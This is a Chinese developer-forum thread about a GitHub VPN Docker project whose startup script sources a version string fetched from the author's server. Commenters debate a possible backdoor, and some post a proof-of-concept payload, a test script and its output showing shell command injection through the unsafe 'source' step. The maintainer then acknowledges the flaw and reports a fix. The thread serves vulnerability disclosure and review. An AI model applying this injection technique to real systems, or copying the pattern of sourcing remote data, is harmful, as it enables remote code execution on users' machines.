在 github 仓库指出潜在的安全隐患后被删 issue

issue

GitHub

代码

作者

46 条回复 • 2022-01-04 15:27:16 +08:00

1

ryd994

2022-01-03 16:19:32 +08:00

3

swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
. "$swan_ver_file"

节选三行代码。相信稍有 bash 和或 sql 常识的人都该知道有什么问题。
统计信息可能涉及 gpdr 等 compliance 问题，但是比起上面的问题这已经是小问题了。考虑到 docker 的隔离，影响可能有限。但是如果用 host 网络或者小白瞎挂目录进容器的话就有问题了。总之，这是一个很明显的 bug ，在被人指出后还关 issue 是很不负责任的。

你能做什么？什么都做不了。因为开源软件的授权协议本来就包含了免责声明。作者对用户没有任何义务也不对任何使用的后果负责。你可以考虑 fork 然后修正此问题。这就是开源社区解决不负责任的开发者的方式：fork ，然后比他更负责。

看看 LinkedIn ，好歹也是个 PhD ，毕业后还在业界工作了好几年了。好歹也是谷歌的 sde ，还做过 sre 。G 家的 sre 就这水平？我很失望。
另一方面，LinkedIn 上写的还是 sde 而不是 senior 。PhD 起步，莫不是干了这么多年还没升到 senior ？同龄人应该很多是 principal 了吧？

2

momocraft

2022-01-03 16:21:18 +08:00

朝那个 URL 放适当的字符串好像可以在别人的机器执行 (source) 代码

3

bhyslyk2

2022-01-03 16:22:24 +08:00

你发现了一个后门

4

learningman

2022-01-03 16:24:44 +08:00

os_type=$(. /etc/os-release
感觉这里可以注入一下，结合一个任意文件写入就可以任意执行 docker 命令了

5

ryd994

2022-01-03 16:33:54 +08:00 via Android

2

@learningman 这一行反而问题不大。os-release 是通用的系统版本配置文件。https://man7.org/linux/man-pages/man5/os-release.5.html
man page 里的例子就是这样直接 source 使用的

在正常的 Linux 发行版里，/etc/已经合理设置权限，只有 root 或 sudoer 才能修改。如果有人能修改 os-release ，那他何必费这个劲，直接修改 rc.local 或者 init script 还比较方便。

6

xmumiffy

2022-01-03 16:36:42 +08:00

5

正常.
issue 是公开的,既然你提出一个漏洞,应该先通过非公开途径报告.

7

xiaolanger

2022-01-03 16:39:13 +08:00

看到 @xmumiffy #6 这个的回复，楼主是不是可以考虑邮件联系一下作者？

8

devliu1

OP

2022-01-03 16:41:57 +08:00

1

Hello! There is no security threat. This code checks for the latest supported Libreswan version. It only runs once after creating the Docker container, and simply shows a message in the Docker container's output that a newer Libreswan version is available.
这个是作者在原 issue 下的回复，藏着掖着还是很失望的。 @xiaolanger

9

Mirage09

2022-01-03 16:47:18 +08:00 via iPhone

@ryd994 这种加起来 5 yoe 不是 sr sde 挺正常的，更何况还是在升职本来就相对慢的 g 家…

10

vanton

2022-01-03 16:49:03 +08:00

这种漏洞建议直接私信或者 mail 作者直接联系。
或许事情并不是你想的那样。

11

jptx

2022-01-03 17:21:22 +08:00

5

简单看了下，这段是这个 commit 加进去的： https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/4287e068376b9bb81b7781863b203914dd6aa62d
远程加载的地址 dl.ls20.com 是作者自己的域名地址，作者有完全的掌控权且可以不公开内部逻辑。这东西可以类比为某个软件有检查并自动安装更新的功能，是否会出事，完全取决于作者本人的道德。

12

liuxu

2022-01-03 17:47:17 +08:00

3

@ryd994

按你贴的代码确实有问题，但是你只截了别人一段代码。。。

别人的源代码是这样的 https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/d305867bccdd70121d079cfa82c8a68c115f469f/run.sh#L638-L659

# Check for new Libreswan version
swan_ver_file="/opt/src/swanver"
if [ ! -f "$swan_ver_file" ]; then
touch "$swan_ver_file"
ipsec_ver=$(ipsec --version 2>/dev/null)
swan_ver=$(printf '%s' "$ipsec_ver" | sed -e 's/.*Libreswan U\?//' -e 's/$ (\|\/K$.*//')
swan_ver_url="https://dl.ls20.com/v1/docker/$os_type/$os_arch/swanver?ver=$swan_ver&ver2=$IMAGE_VER&i=$status"
swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: https://git.io/updatedockervpn
EOF
fi

你只截 if 内部的代码，而不贴 if 的代码，也不谈论利用环境。。

首先这个脚本是 sh 执行，不存在其他人通过 http 请求注入问题。。

唯一有问题的是作者给 swan_ver_url 加入了 exploit 代码，但是下面的 if 条件

printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' &&

首先会通过 grep 验证是否为 xx.xx 的数字版本号，成功才会继续之下&&后面的代码，所以本身就有了防注入功能，而他这个和 sql 注入一点关系都没有，别拿 sql 注入的常识放在这里。。后面就是在当前环境设置 swan_ver_latest 这个环境变量而已。。

回楼主

linux 下软件和系统版本信息放在文件中本身就是很通用的做法。。自己去 /etc 、/proc 和 /sys 下去看。。

你们还在扯 docker 隔离问题，linux kernel 官方自己没隔离 cpu 内存这些信息。。

所以确实不存在安全问题。。

13

devliu1

OP

2022-01-03 18:09:07 +08:00

@liuxu 确实要看利用条件，我也说明了 `我怀疑这段代码可以绕过` ，我目前还没想道利用的方式，但是直觉感觉可以绕，况且，要是记录版本没必要用 source 的方式，完全可以记录一个 text 。

发 issue 的目的是想留在 issue 区给大家提醒，并审计一下
而发贴是吐槽一下作者直接删 issue 的行为

14

kkocdko

2022-01-03 18:43:59 +08:00 via Android

issue 可以删？

15

liuxu

2022-01-03 18:49:01 +08:00

@devliu1

作者通过 source 给当前 docker 环境注入一个环境变量没有什么不妥

换个说法，作者建了一座楼，没问题，然后你在楼下拉了个横幅在说“我感觉这楼有安全问题，要塌”，然后作者跟你说没安全问题，把横幅扔到垃圾桶，你觉得这个作者的行为有什么问题么

还是说你感觉不妥，应该继续放楼下展示，给大家提个醒，万一真的会塌呢

16

kidonng

2022-01-03 18:55:34 +08:00

1

@kkocdko https://docs.github.com/issues/tracking-your-work-with-issues/deleting-an-issue
但有一大堆爬虫盯着 GitHub 所以删除的作用在一段时间内十分有限

17

2i2Re2PLMaDnghL

2022-01-03 19:07:17 +08:00

11

@liuxu 有办法绕过，因为 grep -q 只看输入流中是否有至少一行符合模式。
所以可以让服务器响应载荷如下即可嵌入代码：
999.999.998'
999.999.999
echo "hello world"
w'

它能通过 grep -Eq
在 sort -C -V 中它必是最新
然后通过 printf '%s\n' "swan_ver_latest='$swan_ver_latest'" 输出如下内容：
swan_ver_latest='999.999.998'
999.999.999
echo "hello world"
w''
应该会产生一个错误 999.999.999: command not found ，尔后正常运行其他语句。（没有 set -e ）
换句话说其实就是你相信这服务器才行

18

2i2Re2PLMaDnghL

2022-01-03 19:12:00 +08:00

应该可以不用特意找一个可以找到的 w ，直接 zzzz' 就行

19

skiy

2022-01-03 19:14:04 +08:00

作者只是为了作统计而已吧？

如果是服务器爆漏洞，通过 IP 和服务器信息就能破别人的服务器？那这样，很多工具没法用了。比如 https://github.com/syncthing/syncthing 这种（也有这种统计）。

再者，用在 docker 上。
楼上有说，如果小白怎样怎么样的。但实际上，小白基本都是按官方文档来的，而官方文档只有一个 `-v ikev2-vpn-data:/etc/ipsec.d ` 挂 volume 里的。

还有一个，楼上有人说，这都是按“作者的道德”什么什么的。但实际上，人家是开源的，你既然觉得人家这个镜像有问题，你完全可以自己 fork 一个出来，再 build 一个挂到 hub docker 上面。如果使用别人的东西之前，就已经作为“作者没道德”的有罪推定，那就不要使用便好。以免自己不放心，也免得作者糟心。

20

0o0O0o0O0o

2022-01-03 19:17:29 +08:00 via iPhone

> 换个说法，作者建了一座楼，没问题，然后你在楼下拉了个横幅在说“我感觉这楼有安全问题，要塌”，然后作者跟你说没安全问题，把横幅扔到垃圾桶，你觉得这个作者的行为有什么问题么

@liuxu 这是有数十个 pr 数百个 issue 以及 docker pulls 28M 的开源项目，我觉得关闭 issue 和删除 issue 的性质还是不一样的吧？

21

skiy

2022-01-03 19:23:17 +08:00

@0o0O0o0O0o 关闭 PR 我觉得可以理解。“删除 PR”的话，应该看作者的想法了。实际上“自动更新”之类的，都存在“安全隐患”。

22

cweijan

2022-01-03 19:30:55 +08:00

1

@ryd994 因为一段有可能出 bug 的代码你就对作者一顿批判, 你也是人才

23

liuxu

2022-01-03 20:23:16 +08:00

3

@2i2Re2PLMaDnghL

#17 你是对的，我给想混了，把 grep 想成管道过滤输出了，怎么在 if 里面这么想。。

按你的方法，我利用成功了

测试脚本，模仿 run.sh：

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
#!/bin/bash

swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn
EOF
fi

wget exploit 代码：

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
999.999.998'
999.999.999
echo "hello world"
zz'

执行结果：

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
/tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn

楼主的猜测没问题，如果作者想利用这个步骤攻击，可以在某个时期段注入攻击代码，然后再恢复正常，很难被人发现，唯一可控的就是 docker 环境隔离了宿主机

但考虑到是 vpn ，存在被利用搭建管道，建议不要使用

24

devliu1

OP

2022-01-03 21:04:46 +08:00

@2i2Re2PLMaDnghL @liuxu 感谢两位提供的思路和 poc ，我也忽略了 grep -q ，这也是我为什么提出，有“潜在”的安全风险。
@skiy 我宁愿相信作者的本意是统计用途，我也只是指出可能存在的问题，被删除实在难免有此地无银的嫌疑。

所以我选择发帖提醒，并且选择不使用该作者的代码。

再次感谢大家

25

hxse

2022-01-03 21:25:06 +08:00

2

关闭 issue 可以理解, 但不该删除, 这确实是道德问题, 建议去 reddit 曝光

26

kaedea

2022-01-03 21:35:10 +08:00 via Android

4

🌚 以防万一应该先向工信部报告

27

devliu1

OP

2022-01-03 21:37:43 +08:00

@hxse 这个仓库应该国人用的多，也就 v2 发发牢骚了。
@kaedea 搞不好还是登子的阴谋

28

Felldeadbird

2022-01-03 22:49:15 +08:00

楼主这个出发点 OK 啊！我站在作者角度看，一般这个是用来做版本碎片统计用。但是用来做攻击这种角度还真的可以！

对于删除 ISSEU 这个，不太清楚。楼主试下以邮件形式询问？

29

hs0000t

2022-01-04 01:20:57 +08:00 via Android

感谢楼主排雷！

30

ryd994

2022-01-04 04:47:07 +08:00 via Android

4

@liuxu 感谢你的验证。我这么快就说作者有问题还有另一个原因：这里完全没有必要用 source 。

他已经有了 swan_ver_latest 。完全可以简单地 if [ "$swan_ver_latest" == "expected version" ]
如果想设置全局变量完全可以 export swan_ver_latest=$swan_ver_latest 或者类似物。
想缓存结果也可以直接存到文件，之后再从文件里读一下就完事了。反正 docker 里就这一个程序。一个变量存一个文件也无不可。

而且这查程序版本号这点小事，只要能用好缓存和静态化等功能，服务器上的负载微乎其微。以大多数人的程序流行度，还远不到需要担心服务器性能的程度。

在这脱裤子放屁写这三行，可以说纯粹就是为了用 source ，非蠢即坏。永远不要随便 eval 外部可以控制的数据，这应该是铁则。何况这个 eval 还毫无必要。

我提到 SQL 只是 SQL 注入问题比较常见。希望大家想到注入问题而已。对于 SQL parameterized queries 就是为了解决这个问题，而各大 SQL 软件的手册上都提醒：最简单的办法就是用好 parameterized queries ，别自己设计一套输入验证或者 escaping ，因为自己实现的防注入验证太容易有漏洞了。

@cweijan 为什么不应该批判一番？这些问题我在上学的时候就知道注意了。一个学生都写不出这样的 bug 。SRE 在谷歌是什么？简单来说就是运维。当然实际工作范围要比运维大一点。
换句话说，bash 对他应当是工作内容的一部分，是每天要用的东西。而类似的 bug ，是否还存在于他其他的代码里？如果存在，那他的同事在 code review 中是否指出过？还是说指出过，但他没有改？

好，谁不犯错呢？不小心写了个 bug 也没啥。但是人家都给你指出来了，直接关 issue 这是几个意思？自己往简历 /LinkedIn 上写的项目，用来找工作的项目，能不能上点心？

就像我上面所说：这是一个 G 家 SRE 应有的水平和态度吗？我很失望。

31

hwdsl2

2022-01-04 07:07:15 +08:00

10

大家好，我是该 GitHub 仓库的作者。首先感谢大家的讨论，尤其是 @devliu1 @liuxu @2i2Re2PLMaDnghL 指出潜在的安全问题。在这里要说明一下。以上 @liuxu 引用的该部分代码的用途仅为检查新的受支持的 Libreswan 版本以及版本统计。swan_ver_url 是在 AWS S3 上的静态网站，该 URL 返回的值仅为 Libreswan 版本号本身（比如 4.5 ）。

该代码已经包含验证，以确保返回的值为有效的版本号。上面 @liuxu @2i2Re2PLMaDnghL 指出的潜在的安全问题之前并没有考虑到，我已在最新的 commit b01c7d8 修复。它已包含在最新版本的 Docker 镜像中。

欢迎大家提出其它改进的建议。因为 GitHub Issues 是公共区域，有关安全的问题请不要创建 Issue ，可以直接与我邮件联系。

32

bxb100

2022-01-04 08:29:09 +08:00 via Android

楼主和 @ryd994 真的赞，希望这样的事不会影响你们对来源代码的审计

33

momocraft

2022-01-04 08:52:07 +08:00

公开就能被利用的安全漏洞需要保密
公开了旁人也无法利用的漏洞也要这样吗？

34

lance6716

2022-01-04 09:04:41 +08:00 via Android

记得我们 repo 里面建 issue 的时候，会根据类别选择不同模板。安全问题是直接引导到邮件的，不是直接建 issue

35

zouzou0208

2022-01-04 09:11:27 +08:00

安全问题邮件联系好一些。

36

liuxu

2022-01-04 09:31:27 +08:00

1

@2i2Re2PLMaDnghL
@hwdsl2

最新的 commit grep 前 head 版本返回第一行，grep 进行单行验证，我这边验证没安全问题了

https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/b01c7d8951cc9c797791b96ff1bfd46ac336862b

37

ryd994

2022-01-04 10:00:07 +08:00 via Android

@hwdsl2 更好的办法是 grep -o ，同时 grep pattern 严格限制数字字符。这样可以最小化暴露面

38

ryd994

2022-01-04 10:02:33 +08:00 via Android

2

@momocraft 表面上旁人无法利用，实际上可能被结合其他漏洞利用。比如不安全的 CA 。
不是必须有 poc 才叫 vulnerability 。
邮件保密可以，但是关闭 issue 之前应当说明理由。关闭之后应当及时私下 follow up 。

39

hackerwgf

2022-01-04 10:31:50 +08:00

16

这他娘的才是我想逛的 V2

40

SuperMaxine

2022-01-04 10:55:28 +08:00 via Android

1

挺正常的，有经验的开发者都会要求 security 问题 e-mail 交流，在 issue 里提变相等于公开漏洞了

41

hccsoul

2022-01-04 11:44:52 +08:00

1

个人感觉可能被利用的漏洞还是和作者单独交流比较好,公开出来总感觉有心术不正的人来利用,作者删掉那个 issue,可能是去除潜在的被利用的风险.

42

mr0joker

2022-01-04 12:26:15 +08:00

@devliu1 作者已经修复且回复了，我觉得可以开个回复向关注了该贴的 v 友说明下

43

wph95

2022-01-04 13:43:17 +08:00

2

> 在 github 仓库指出潜在的安全隐患后被删 issue
> 为此新开了个 issue ，作者回复后就立即关闭以及删除 issue 。

repo 作者做的没问题
https://docs.github.com/en/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
https://docs.github.com/en/code-security/security-advisories/creating-a-security-advisory

> 漏洞报告者的最佳实践
私下向维护者报告漏洞是一项良好的做法。如果可能，作为漏洞报告者，我们建议您避免：
- 公开披露漏洞而不给维护者补救的机会。
- 绕过维护者。
- 在代码的修复版可用之前披露漏洞。
- 在没有公共奖励方案的情况下，报告某个问题时期望得到补偿。
漏洞报告者如果已尝试联系维护者但未收到回复，或与已联系他们但被要求等待很久才能披露，则在一段时间后公开披露漏洞是可以接受的。

44

Lothar

2022-01-04 14:13:15 +08:00

V 站真就 “全球工单响应系统” 比啥都快

45

kangkang

2022-01-04 14:23:21 +08:00

这他娘的才是我想逛的 V2 +1

46

devliu1

OP

2022-01-04 15:27:16 +08:00

2

借用一下 @momocraft 的回复

> 公开就能被利用的安全漏洞需要保密
> 公开了旁人也无法利用的漏洞也要这样吗？

Sorry ，标题可能有些误导嫌疑，几位说的没有错，但是可能也没完整看完帖子之前讨论的内容 @lance6716 @zouzou0208 @SuperMaxine @hccsoul @wph95

我还是重新说明一下为什么直接发 issue 而不是发邮件联系：

**这里的漏洞不是能被旁人利用的漏洞，而是怀疑有后门**，公开这个漏洞对于公众利大于弊。

我一时间没有找到绕过的方法，想通过 issue 区让更多的使用者来验证是否有安全问题，之前也提到过发贴是因我认为作者**回复没有问题并删 issue**的行为很不合适。

从技术角度，即使已经加了过滤， `source` 仍然是不妥的行为。

在 github 仓库 指出潜在的安全隐患后 被删 issue

在 github 仓库指出潜在的安全隐患后被删 issue